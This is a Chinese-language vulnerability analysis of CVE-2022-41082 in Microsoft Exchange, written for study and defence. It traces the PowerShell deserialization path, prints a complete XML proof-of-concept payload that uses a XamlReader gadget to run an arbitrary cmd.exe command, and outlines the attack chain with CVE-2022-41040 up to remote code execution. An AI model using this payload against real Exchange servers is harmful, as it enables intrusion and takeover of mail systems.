简介
- 漏洞编号:CVE-2022-41082
- 漏洞类型:类型混淆
- 软件名称:Microsoft Exchange
- 模块名称:Exchange 服务 powershell 接口模块
- 历史漏洞:易受攻击的流行软件
- 影响的版本:Microsoft Exchange Server 2019 2016 2013
- 攻击利用:检测到在野利用
原因分析
- 通过 CVE-2022-41040 能够开启 Exchange 服务器的远程 powershell 支持,进而可以通过 powershell 传递序列化对象,序列化对象通过 xml 文件协议定义
- 具体的 xml poc 如下所示,poc 中的序列化数据中定义了一个类型为 System.ServiceProcess.ServiceController 的序列化对象,该序列化对象在 Props 标签中内嵌了一个名称为 TargetTypeForDeserialization 的对象,Props 标签中返回自定义的反序列化对象类型
<Obj RefId="13">
<TN RefId="0">
<T>System.Management.Automation.PSCustomObject</T>
<T>System.Object</T>
</TN>
<MS>
<S N="N">-Identity:</S>
<!--Object type section-->
<Obj N="V" RefId="14">
<TN RefId="2">
<T>System.ServiceProcess.ServiceController</T>
<T>System.Object</T>
</TN>
<ToString>System.ServiceProcess.ServiceController</ToString>
<Props>
<S N="Name">Type</S>
<Obj N="TargetTypeForDeserialization">
<TN RefId="2">
<T>System.Exception</T>
<T>System.Object</T>
</TN>
<MS>
<BA N="SerializationData">AAEAAAD/AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
</MS>
</Obj>
</Props>
<S>
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c {CMD}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]>
</S>
</Obj>
</MS>
</Obj>
-
当 Exchange 服务器拿到 xml 序列化数据后就开始调用 InternalDeserializer->ReadOneObject 进行反序列化
-
如果对象 Props 标签中内嵌了名称为 TargetTypeForDeserialization 的对象,则通过 ReadOneDeserializedObject->ReadPSObject 获取 props 属性中的自定义的反序列化对象
-
ReadOneObject->GetTargetTypeForDeserialization 函数会根据 TargetTypeForDeserialization 中的信息返回自定义反序列化对象的类型,这里类型为 System.Exception
-
而 System.Exception 通过 Microsoft.Exchange.Data.SerializationTypeConverter 的 DeserializeObject 函数对 Props 标签中的内嵌对象的 SerializationData 数据进行反序列化
-
由于 SerializationData 中保存的是序列化后的 System.UnitySerializationHolder 对象,所以反序列化后也应该为 System.UnitySerializationHolder,但是被修改为了 System.Windows.Markup.XamlReader 对象
-
内嵌对象处理完成之后,接下来进一步反序列化 ServiceController 对象,但由于 ServiceController 在 types.ps1xml 中并没有定义 TargetTypeForDeserialization 信息,所以会在 Props 标签内嵌的 obj 中寻找 TargetTypeForDeserialization 属性,从而将反序列化的属性定义为 XamlReader,然后就会调用其 Parse 方法反序列化 S 标签中的数据
构建与利用
利用姿势
- 通过修改 S 标签中的属性为如下 xml 数据,并求改 {CMD} 为执行的 cmd 命令从而执行任意代码
<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c {CMD}</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
]]>
poc 的构建流程
-
该漏洞需要配合 CVE-2022-41040(SSRF) 来形成完整的攻击链,通过 CVE-2022-41040 通过注册用户的用户名和密码进行认证,认证成功之后就可以和 Exchange 服务器的 powershell 接口进行交互,从而伪造序列化请求
-
CVE-2022-41040 利用成功之后,通过构造用于初始化 session 和初始化运行空间池的结构,并对此结构进行序列化操作
-
之后构造特殊的 POST 请求数据发送到服务器的 /powershell 接口,在响应中提取 shellid,该值用于维持与服务器的连接
-
然后替换掉载荷的 CMD 命令,序列化后放到新的 POST 请求里在发送到服务器,这样就完成了 RCE 操作
缓解
- 补丁下载:https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2022-41082
参考
- https://blog.caspersun.club/2022/12/19/proxynotshell/proxynotshell/
- https://xz.aliyun.com/t/12634
- https://starlabs.sg/blog/2023/04-microsoft-exchange-powershell-remoting-deserialization-leading-to-rce-cve-2023-21707/